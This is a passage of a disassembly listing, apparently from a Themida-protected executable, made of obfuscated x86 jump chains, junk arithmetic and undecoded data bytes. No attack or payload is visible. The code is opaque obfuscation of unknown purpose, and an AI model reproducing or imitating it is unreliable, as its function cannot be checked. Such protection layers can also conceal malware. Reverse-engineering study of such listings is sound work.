		add	ecx, ebx
		jmp	loc_54D6AA
; ---------------------------------------------------------------------------
		db 1
		dd 0F82959C8h, 794BBB53h, 0C8E91DB2h, 89000088h, 0ADBD242Ch
		dd 21347664h, 6A9BE9EBh, 3C8B0000h, 0E845E924h,	0CFB9FFFFh
		dd 0E952654Ah, 6F04h, 8704C683h, 815C2434h, 4C2h, 4BB5300h
		dd 1000000h, 241C8BDAh,	3304C483h, 14312414h, 24143324h
		dd 0F724248Bh, 4BC468E9h, 14890000h, 0E99C5024h, 0FFFFD828h
		dd 2C481h, 55660000h, 39D2E9h, 81DA0100h, 13722C2h, 0C2835B4Ch
		dd 24143302h, 33241431h, 665C2414h, 9C240429h, 0FFD7FBE9h
		dd 242C89FFh, 4BDh, 0EBE5600h, 151F849h, 5E082474h, 0A3B85056h
		dd 891B7933h, 448158C6h, 34AD0824h, 7429795Fh, 6C810824h
		dd 34AD0824h, 15E795Fh,	8104246Ch, 0A3042444h, 521B7933h
		dd 2EF6E9h, 0B60F5900h,	8734FFC0h, 255BE9h, 517A0500h
		dd 1D687D1Ch, 0E900000Dh, 90CEh, 4C18159h, 81000000h, 4C1h
		dd 25B6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54976A:				; CODE XREF: Themida_:0054A3B8j
		shr	eax, 0Bh
		xor	ecx, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_547393
; ---------------------------------------------------------------------------

loc_549780:				; CODE XREF: Themida_:005479D5j
		push	edx
		mov	edx, 29A0447Bh
		jmp	loc_55072D
; ---------------------------------------------------------------------------
		db 87h
		dd 835C2434h, 5DE904C4h, 51FFFFD7h, 0C828D5B1h,	81240C8Bh
		dd 4C4h, 4EC8300h, 0E9241489h, 9161h, 1FE68h, 24348900h
		dd 0C681E689h, 4, 4EE81h, 0FF560000h, 5E042474h, 0E924048Fh
		dd 712Eh
; ---------------------------------------------------------------------------

loc_5497D4:				; CODE XREF: Themida_:0055013Dj
		xor	dh, 85h
		sub	bl, 2Ah
		add	bl, 9Fh
		jmp	loc_54AE0C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 380AE9h, 0C8B6600h, 0E9545224h, 3724h, 0E9505D5Ah
		dd 594Eh, 468505Bh, 58000000h, 2C6BE9h,	53EFD100h, 8C504C68h
		dd 0E9435B30h, 5F4Eh, 66CD3166h, 0B3E9E931h, 58FFFFF3h
		dd 4EC81h, 0C890000h, 0E92BB124h, 0FFFFFC4Eh
; ---------------------------------------------------------------------------

loc_549838:				; CODE XREF: Themida_:00547BA2j
		inc	ecx
		add	ecx, 0A956A731h
		push	ecx
		xor	dword ptr [esp], 644717B0h
		jmp	loc_548B43
; ---------------------------------------------------------------------------
		dd 8142D2F7h, 0A41BABF2h, 6835E91Fh, 0E95D0000h, 31F2h
		dd 109EC581h, 0ED814CC6h, 0A8D111CAh, 895A5552h, 34FF5AD3h
		dd 0D2E95D24h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54987B:				; CODE XREF: Themida_:0054C7C4j
		xchg	edx, [esp]
		jmp	loc_550105
; ---------------------------------------------------------------------------

loc_549883:				; CODE XREF: Themida_:0055097Fj
		xor	ebx, 233F446Ah
		dec	ebx
		sub	ebx, 567E2D31h
		xor	ebx, 9C0708A1h
		shl	ebx, 1
		jmp	loc_552230
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8300h, 31BFE9h, 4EC8300h, 52242489h, 13079FBAh
		dd 2E2C110h, 1E78EA81h,	5401404Ch, 93E90424h, 0FF00000Bh
		dd 0C8B2434h, 4C48324h,	8904EC83h, 0FF54243Ch, 0E95F2434h
		dd 0FFFFDF62h
; ---------------------------------------------------------------------------

loc_5498E4:				; CODE XREF: Themida_:0054AB30j
		add	esp, 4
		mov	eax, edx
		jmp	loc_550A1F
; ---------------------------------------------------------------------------
aAsSgy		db '€é/égy',0
		align 2

loc_5498F6:				; CODE XREF: Themida_:0054EBD7j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_549F82
; ---------------------------------------------------------------------------

loc_5498FF:				; CODE XREF: Themida_:0054D2FFj
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_54D864
; ---------------------------------------------------------------------------
		dw 0F180h
aQh7f		db 'qh7F',0
		align 2
		dw 1C89h
		dd 55E95124h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54991F:				; CODE XREF: Themida_:0054728Dj
		pop	esp
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54710C
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 3C8B0000h, 0E9545324h, 4BD4h, 54243C89h
		dd 8B2434FFh, 8956243Ch, 4C681E6h, 0E9000000h, 5704h
; ---------------------------------------------------------------------------

loc_54995C:				; CODE XREF: Themida_:00547E25j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	5062h
		mov	[esp], ebp
		push	esp
		jmp	loc_54F9CC
; ---------------------------------------------------------------------------
		db 68h
		dd 5E52h, 4EE5E9h, 0F6ACB600h, 2BE680DEh, 0DEF6DEF6h, 0EC9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54998D:				; CODE XREF: Themida_:00551344j
		not	edx
		xor	edx, 0B12A98A6h
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0AF954E6h
		push	ebx
		mov	ebx, 13E65D58h
		add	ebp, ebx
		pop	ebx
		shl	ebp, 1
		jmp	loc_54B721
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 4EBE5604h, 12CAF44h,	5E082474h, 55CDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5499CD:				; CODE XREF: Themida_:0054836Dj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_552581
; ---------------------------------------------------------------------------

loc_5499DF:				; CODE XREF: Themida_:00551D5Ej
		dec	dword ptr [esp]
		pop	eax
		xor	eax, 99BAA4DBh
		push	7728h
		mov	[esp], eax
		jmp	loc_54B560
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 3Dh
		dd 1DB03F9h, 0E8835BD8h, 24043304h, 33240431h, 37E92404h
		dd 89000049h, 0D9215AD3h, 0E9241C8Bh, 4CAFh, 31241433h
		dd 14332414h, 0CA815C24h, 6C436795h, 587FEA81h,	0C28108EAh
		dd 9906E0C4h, 0E95AD001h, 7D89h, 437DBCB8h, 8BC6295Fh
		dd 0C4832404h, 0EA7E904h, 14890000h, 0B133B224h, 400AE996h
		dd 0E0C10000h, 0FFFF0503h, 0E940FFFFh, 8360h, 4C2815Ah
		dd 81000000h, 4C2h, 0D8D4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549A7E:				; CODE XREF: Themida_:0054F615j
		push	ebx
		mov	ebx, 1F0C57BCh
		and	ebx, 5D92166Ch
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_548565
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 535E5424h, 4BD55h, 0EB890000h, 8B97E9h
		dd 91963500h, 24E90316h, 80000047h, 34E9E9C5h, 81FFFFE9h
		dd 0CA0C50C2h, 81FA015Fh, 0CA0C50EAh, 70ADE95Fh, 0B80000h
		dd 89000000h, 4362E9C5h, 34FF0000h, 0EF59E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549AE6:				; CODE XREF: Themida_:00549D35j
		push	edx
		mov	edx, 2BFD7A37h
		shl	edx, 3
		jmp	loc_552227
; ---------------------------------------------------------------------------
a31L4SK		db '3,$1,$‹4$龊',0
		align 2

loc_549B02:				; CODE XREF: Themida_:0054AC74j
		sub	edi, edx
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		push	esi
		jmp	loc_5472FB
; ---------------------------------------------------------------------------

loc_549B14:				; CODE XREF: Themida_:005472A6j
		mov	ebx, [esp]
		add	esp, 4
		push	463Ah
		mov	[esp], edx
		mov	dh, 0C0h
		inc	dh
		add	dh, 1
		and	dh, 4Eh
		jmp	loc_5515C8
; ---------------------------------------------------------------------------
		db 5Eh,	5Dh, 0E9h
		dd 0FFFFD3BCh, 54045966h, 542CF800h, 83241C8Bh,	160404C4h
		dd 162CC800h, 8B66A42Ch, 0C481240Ch, 2,	0B60FC330h, 8734FFC0h
		dd 0FFD38FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549B65:				; CODE XREF: Themida_:0054C414j
		jz	loc_5484E8
		push	dword ptr [edi+1Ch]
		jmp	loc_54D1A9
; ---------------------------------------------------------------------------
		db 0BDh
		dd 22BA6C91h, 6C95F581h, 2E922BAh, 0B8000037h, 54816EACh
		dd 0A53BF57h, 54E97FB7h, 0AC00001Ch, 0B5515366h, 0E9CDFE23h
		dd 7919h
; ---------------------------------------------------------------------------

loc_549BA0:				; CODE XREF: Themida_:00549182j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_54832F
; ---------------------------------------------------------------------------
		db 52h
		dd 95787ABAh, 19E2E9EAh, 0C7810000h, 4,	31243C33h, 3C33243Ch
		dd 28E95C24h, 0B1000019h, 0F6C9FE74h, 0E05CE9D1h, 48FFFFFh
		dd 0D30AE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549BEA:				; CODE XREF: Themida_:0054F2A4j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_550356
; ---------------------------------------------------------------------------
		db 5Bh,	52h, 0E9h
		dd 3DFDh
; ---------------------------------------------------------------------------

loc_549C08:				; CODE XREF: Themida_:0054C105j
		xor	ah, 4Eh
		jmp	loc_5476DF
; ---------------------------------------------------------------------------
		dd 66FD3166h, 3166E931h, 0E93166CDh, 240C3166h,	240C3366h
		dd 240C3166h, 0FFD2C7E9h, 88FC88FFh, 3E958E1h, 57FFFFF5h
		dd 0FFD67EE9h, 31B2FFh,	148B66D0h, 2C48124h, 4000000h
		dd 6CEAE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549C52:				; CODE XREF: Themida_:0054A768j
		pop	edi
		add	edx, edi
		push	ecx
		jmp	loc_5524C5
; ---------------------------------------------------------------------------

loc_549C5B:				; CODE XREF: Themida_:0054EBA8j
		mov	esp, [esp]
		jmp	loc_54D42C
; ---------------------------------------------------------------------------
aSlS		db '\)è‹,$éÔ)',0
		align 2

loc_549C6E:				; CODE XREF: Themida_:0054BA82j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_548F31
; ---------------------------------------------------------------------------
aQj4so		db '-ºQ¦4éŽ',1Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_549C83:				; CODE XREF: Themida_:0054CE08j
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_54A969
; ---------------------------------------------------------------------------

loc_549C90:				; CODE XREF: Themida_:00550494j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_54FDA9
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0D605221h, 36D484BDh, 59CD0131h, 56E9E9h, 7DC38000h
		dd 31ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_549CC5:				; CODE XREF: Themida_:0054826Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 4
		push	eax
		push	esi
		mov	esi, 412F0BFEh
		dec	esi
		and	esi, 564403B3h
		not	esi
		add	esi, 400403B6h
		mov	eax, esi
		jmp	loc_54A0B9
; ---------------------------------------------------------------------------
		dd 50AFB151h, 0EC83CC88h, 240C8904h, 0E952E188h, 68CCh
		dd 2DD8015Ch, 0B9C54A9h, 442C68h, 24148900h, 63EAFBAh
		dd 0B850422Dh, 62606CF6h, 0B3E9C231h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549D2F:				; CODE XREF: Themida_:0054D17Aj
		not	dword ptr [esp]
		pop	edx
		xchg	edx, edi
		jmp	loc_549AE6
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 242C3124h, 5C242C33h, 24148B66h, 7EA3E953h, 81520000h
		dd 4ECh, 241C8900h, 0A132BDBBh,	1D8CE967h, 0F660000h, 5166C8AFh
		dd 87CCE99Ch, 248B0000h, 24042824h, 646CE99Ch, 0E95F0000h
		dd 221Eh, 1B546857h, 1C890000h,	124BBB24h, 0ADBF029Ah
		dd 0E94C6E25h, 4FC5h
; ---------------------------------------------------------------------------

loc_549D98:				; CODE XREF: Themida_:00548D13j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		sub	esi, 3C0C1FA3h
		add	esi, edi
		add	esi, 3C0C1FA3h
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	53A8h
		mov	[esp], ebp
		mov	ebp, 2CA23A36h
		inc	ebp
		shr	ebp, 8
		push	29AEh
		mov	[esp], edx
		jmp	loc_54ECEA
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0C1h
		dd 0E94504EDh, 0FFFFDC2Ah
; ---------------------------------------------------------------------------

loc_549DE8:				; CODE XREF: Themida_:0054E4D4j
		mov	ebp, [esp]
		add	esp, 4
		pop	ebp
		xor	ebp, 18EB4706h
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	edx
		push	ebp
		push	eax
		mov	eax, 62C1794Ch
		mov	ebp, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		mov	edx, 4D072BEEh
		xor	edx, ebp
		pop	ebp
		jmp	loc_54F5AE
; ---------------------------------------------------------------------------
		db 81h
		dd 0C4CA28F7h, 2217E9B8h, 8B660000h, 6DE9241Ch,	0FF000008h
		dd 669D1C77h, 14D36659h, 0A9E99C24h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549E4B:				; CODE XREF: Themida_:005489F0j
		add	ecx, edx
		jmp	loc_54F1F3
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 0E924048Bh, 3A13h, 592434FFh, 68E78957h, 1654h, 0B9240C89h
		dd 4, 1505C781h, 0B9E9088Dh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549E7B:				; CODE XREF: Themida_:00550109j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_54EE63
; ---------------------------------------------------------------------------
		db 0E9h, 6Ah, 0D0h
		dd 0CA01FFFFh, 0BB535759h, 7BB420CCh, 21D6EB81h, 0F3817ACCh
		dd 78691E8Eh, 0CDCCEB81h, 0DF893E8Eh, 76E7815Bh, 4F1C6413h
		dd 0E903E7C1h, 60F8h, 0FF59C828h, 0E9592434h, 0B16h
; ---------------------------------------------------------------------------

loc_549EC4:				; CODE XREF: Themida_:00547C91j
		sub	ebx, 3D040D38h
		or	ebx, 2160433Ch
		inc	ebx
		dec	ebx
		jmp	loc_54E399
; ---------------------------------------------------------------------------
		db 1
		dd 0C58358C5h, 242C8704h, 8124248Bh, 2C2h, 24143300h, 33241431h
		dd 0E3E92414h, 8100005Eh, 793FDEC9h, 1EC1811Ah,	0E9A287D3h
		dd 35D2h, 8851D088h, 0E9CF88C1h, 5A9Eh
; ---------------------------------------------------------------------------

loc_549F14:				; CODE XREF: Themida_:0054B8DDj
		add	edx, ecx
		jmp	loc_54EC60
; ---------------------------------------------------------------------------

loc_549F1B:				; CODE XREF: Themida_:0054BF28j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54F692
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aPsu		db 'PéU',0Bh,0
		align 2
		dw 0C483h
		dd 3F0C6804h, 34890000h, 5E1A6824h, 348B09E2h, 4C48124h
		dd 0E9000000h, 0FFFFD2D2h, 8651E95Dh, 0F5810000h, 4EAD53C4h
		dd 0D9B5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F62:				; CODE XREF: Themida_:0054FCFFj
		add	ecx, eax
		jmp	loc_54A0F3
; ---------------------------------------------------------------------------
aHAlxxmxsli	db 'h',7,9,'alX•M•鋈',0
		dw 8300h
		dd 0D38904C4h, 0CF72E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F82:				; CODE XREF: Themida_:005498FAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54A891
; ---------------------------------------------------------------------------
		dd 0F6F1C280h, 4E2C0D2h, 0E971EA80h, 7F81h, 7F3815Bh, 5D4F3850h
		dd 28FE9h, 4EC8100h, 0E9000000h, 43CDh
; ---------------------------------------------------------------------------

loc_549FC4:				; CODE XREF: Themida_:0054C2EBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_550D5E
; ---------------------------------------------------------------------------

loc_549FD4:				; CODE XREF: Themida_:0054D672j
		push	eax
		jmp	loc_54B4A4
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 8F7h
; ---------------------------------------------------------------------------

loc_549FE0:				; CODE XREF: Themida_:00550D2Aj
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 18h
		jmp	loc_550968
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4B924h, 0CE010000h, 592434FFh, 5E08950h, 4, 8704C083h
		dd 835C2404h, 78E904C6h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A013:				; CODE XREF: Themida_:00551419j
		sub	edi, 3F62783Bh
		neg	edi
		xor	edi, edx
		jmp	loc_54D175
; ---------------------------------------------------------------------------
		dw 2958h
		dd 0BE565AD6h, 68FB55F5h, 37DFE9h, 4BE00h, 73E90000h, 87FFFFF3h
		dd 248B243Ch, 3CD36624h, 0A9E99C24h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A04B:				; CODE XREF: Themida_:00550C8Aj
		mov	[esp], eax
		jmp	loc_5515AF
; ---------------------------------------------------------------------------
		db 5Eh
dword_54A054	dd 2BB53h, 84E90000h, 81FFFFDBh, 2ECh, 8CC8E900h, 8F5F0000h
		dd 248B2404h, 3CABE924h, 0C4810000h, 4,	815BDD01h, 4C5h
		dd 16536800h, 22E90000h, 57000053h, 4BFh, 0FFF90100h, 3C8B2434h
		dd 4C48124h, 52000000h,	0FFD338E9h, 0BEE95CFFh,	30000006h
		dd 0C0B60FC3h, 0FFFB29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A0B9:				; CODE XREF: Themida_:00549CF3j
		pop	esi
		add	edi, eax
		jmp	loc_550AC6
; ---------------------------------------------------------------------------
		db 68h,	46h, 22h
		dd 14890000h, 60E95324h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A0CF:				; CODE XREF: Themida_:0054D33Fj
		mov	ecx, esi
		jmp	loc_54FE45
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 505D5455h, 4B8h, 58C50100h, 4C581h, 15E90000h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A0F3:				; CODE XREF: Themida_:00549F64j
		pop	eax
		push	6299h
		mov	[esp], edx
		push	2
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_54E58A
; ---------------------------------------------------------------------------

loc_54A11D:				; CODE XREF: Themida_:005519E2j
		push	edx
		push	esp
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 3CEB141Ch
		dec	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_54D9E4
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 0E9000000h, 0D22h, 246C815Fh, 0AF444E04h, 0F867E92Ch
		dd 0EC83FFFFh, 24348904h, 0CC2E9h, 0CDE95900h, 81000000h
		dd 0E54FA6C5h, 0AB685F50h, 5990DFCAh, 3EBBC181h, 4E9680Eh
		dd 8700008Ah, 895C2404h, 0E389241Ch, 0FFEDC9E9h, 241433FFh
		dd 33241431h, 815C2414h, 13756BC3h, 68C30104h, 3A03h, 0E9243489h
		dd 0FFFFD71Ch, 81240C8Bh, 4C4h,	4C38300h, 5C241C87h, 6804C483h
		dd 2F35h, 0E9240C89h, 3AF7h, 0E9240C29h, 53FFh,	37E9E0D1h
		dd 0B2FFFFE4h, 0F6C2FE86h, 2E2C0DAh, 0E9F9EA80h, 0FFFFFDB4h
; ---------------------------------------------------------------------------

loc_54A1E8:				; CODE XREF: Themida_:0054A51Ej
		pop	esp
		jmp	loc_551CA2
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 88D18851h, 53AE9CFh, 0DC080000h, 66D4F65Bh
		dd 7FB353h, 305B66DCh, 0F83058E7h, 83241C8Bh, 96E904C4h
		dd 83000077h, 0A1E904C4h, 50000065h, 405E089h, 0E9000000h
		dd 0FFFFFB1Eh, 323EB850h, 10E95CDCh, 55000073h,	77415DBDh
		dd 0E9EE292Ch, 2FECh, 0FFCCA7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A24D:				; CODE XREF: Themida_:00546FB4j
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		dw 55Dh
		dd 7F985C54h, 5658E9h, 45E95600h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A263:				; CODE XREF: Themida_:00547F2Bj
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_54CE3D
; ---------------------------------------------------------------------------

loc_54A274:				; CODE XREF: Themida_:0054FD5Cj
		xchg	eax, ebx
		neg	ebx
		xchg	eax, ebx
		jmp	loc_54DFA7
; ---------------------------------------------------------------------------
		db 0BBh, 5, 4Dh
		dd 0C3814582h, 268A1E34h, 5158C381h, 0EB812722h, 29F60668h
		dd 6A97EB81h, 0C3817583h, 0C203329h, 0BD55EB29h, 0C203329h
		dd 39E9EB29h, 0F7FFFFD3h, 7FE82DD8h, 0C7017B52h, 582434FFh
		dd 6841E9h, 0E9515900h,	0FFFFD2F8h, 24048B66h, 187468h
		dd 242C8900h, 2434FF54h, 0FFD783E9h, 2434FFFFh,	81241C8Bh
		dd 4C4h, 5EFDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A2EE:				; CODE XREF: Themida_:0054F23Cj
		pop	esp
		push	eax
		mov	eax, 13673E76h
		shr	eax, 2
		and	eax, 6A262553h
		sub	eax, 50Dh
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_54EE6A
; ---------------------------------------------------------------------------

loc_54A30C:				; CODE XREF: Themida_:0054EE85j
		not	eax
		jmp	loc_552595
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5CE92434h, 66000004h, 55240C8Bh, 0DCC7E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A326:				; CODE XREF: Themida_:0054C015j
		shl	ebp, 7
		jmp	loc_547651
; ---------------------------------------------------------------------------
		dw 0F75Fh
		dd 29DC2DD8h, 27E90B03h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A33B:				; CODE XREF: Themida_:00548334j
		mov	[esp], edx
		push	2000000h
		mov	edx, [esp]
		jmp	loc_54CC30
; ---------------------------------------------------------------------------

loc_54A34B:				; CODE XREF: Themida_:0054CC83j
		push	ebx
		add	dword ptr [esp], 0A9012D1h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0A9012D1h
		pop	ebx
		and	ecx, edi
		pop	edi
		shr	ecx, 0Ah
		push	ecx
		mov	ecx, esp
		jmp	loc_54AD9F
; ---------------------------------------------------------------------------
		dw 1468h
		dd 89000001h, 5668241Ch, 0E900007Fh, 6969h, 240C8B66h
		dd 0F5E9E955h, 0C781FFFFh, 0CB8E8264h, 3C8BF801h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 25F6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A3A9:				; CODE XREF: Themida_:0054C0B1j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54976A
; ---------------------------------------------------------------------------
		db 68h,	0F3h, 76h
		dd 4890000h, 4BF9E924h,	0EEB90000h, 5672020Dh, 5B7029BEh
		dd 8BF12916h, 0C4812434h, 4, 79ECB850h,	89E977C8h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A3EB:				; CODE XREF: Themida_:00550EAAj
		sub	edx, ecx
		sub	edx, 1D2F5E8Fh
		jmp	loc_54BD5E
; ---------------------------------------------------------------------------
		dd 0AE53DDBBh, 0DC08E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A402:				; CODE XREF: Themida_:00547E07j
		neg	edx
		jmp	loc_550604
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 2
aBcB		db 'B—',0Ah
		db 'ÅÝ',0
		db 1Ah
		dd 597FE974h, 8B660000h, 89562404h, 22BD55E6h, 8117803Ah
		dd 7FC5E2C5h, 0E9EE01E8h, 39C6h, 52E9D029h, 8F000016h
		dd 7FE92404h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A443:				; CODE XREF: Themida_:0054BA0Bj
		sub	ah, 0B2h
		add	bl, ah
		pop	eax
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0FFE828E9h, 88132CFFh, 195FE9C6h, 0FF5A0000h, 148B2434h
		dd 75C7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A46A:				; CODE XREF: Themida_:0054E651j
		mov	[esp], ebx
		push	edx
		mov	edx, 3F086308h
		push	ebp
		mov	ebp, 16AC561Ch
		not	ebp
		jmp	loc_5523AB
; ---------------------------------------------------------------------------

loc_54A480:				; CODE XREF: Themida_:00548724j
		pop	ecx
		pop	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	75C6h
		mov	[esp], ebp
		jmp	loc_55232E
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C242Ch, 12EEh, 0E99CC138h, 5CA7h, 8800B652h, 0DC085AF3h
		dd 0B3535B66h, 0FD44E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A4BA:				; CODE XREF: Themida_:00548CE8j
					; Themida_:0054F0CBj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_547969
; ---------------------------------------------------------------------------
aJssx		db 'ÑêJéSX',0
		align 2
		dw 0F789h
		dd 7442E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A4E5:				; CODE XREF: Themida_:0054F5DDj
		pop	ecx
		mov	bx, [esp]
		add	esp, 2
		xor	ch, ah
		pop	eax
		neg	ch
		inc	ch
		jmp	loc_54DEFF
; ---------------------------------------------------------------------------

loc_54A4F9:				; CODE XREF: Themida_:00547E60j
		mov	esi, 28D66A7Bh
		dec	esi
		xor	esi, 1AF141A1h
		xor	esi, ecx
		jmp	loc_54F285
; ---------------------------------------------------------------------------

loc_54A50C:				; CODE XREF: Themida_:00547517j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54A1E8
; ---------------------------------------------------------------------------

loc_54A523:				; CODE XREF: Themida_:0054DF03j
		shr	ch, 5
		jmp	loc_549367
; ---------------------------------------------------------------------------

loc_54A52B:				; CODE XREF: Themida_:0054F90Cj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54EA84
; ---------------------------------------------------------------------------
		dd 0E94DB1h, 0B9FFFFDEh, 4, 163EE9h, 4AC28100h,	89857DB3h
		dd 0C3815AD6h, 592D3F1Eh, 0EB81F301h, 592D3F1Eh, 4C3815Eh
		dd 87000000h, 248B241Ch, 0A946824h, 0C890000h, 4EC8124h
		dd 89000000h, 0A2BD242Ch, 0F770412Ah, 3BE56DDh,	0F7491B66h
		dd 0DEF746DEh, 2074CE81h, 0C6813481h, 0C02BC145h, 815EF509h
		dd 5C02A7E5h, 0EDBF577Ah, 1CEF053h, 3418E9FDh, 0E1C10000h
		dd 16B1E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A5BE:				; CODE XREF: Themida_:0054713Ej
		add	ebx, esi
		jmp	loc_5476A9
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 51000000h, 7A6B6856h, 815E6BBBh, 0F37C9FF6h,	34F6810Fh
		dd 89355315h, 49415EF1h, 0EC42C181h, 0CB01AEE4h, 324EE9h
		dd 0F5815E00h, 12367537h, 0BD555145h, 1F097125h, 0B30CED81h
		dd 0E989802Dh, 0C2ED815Dh, 296E9F4Ah, 3BECE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A616:				; CODE XREF: Themida_:00547CE8j
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5474C3
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 3D2Ch
; ---------------------------------------------------------------------------

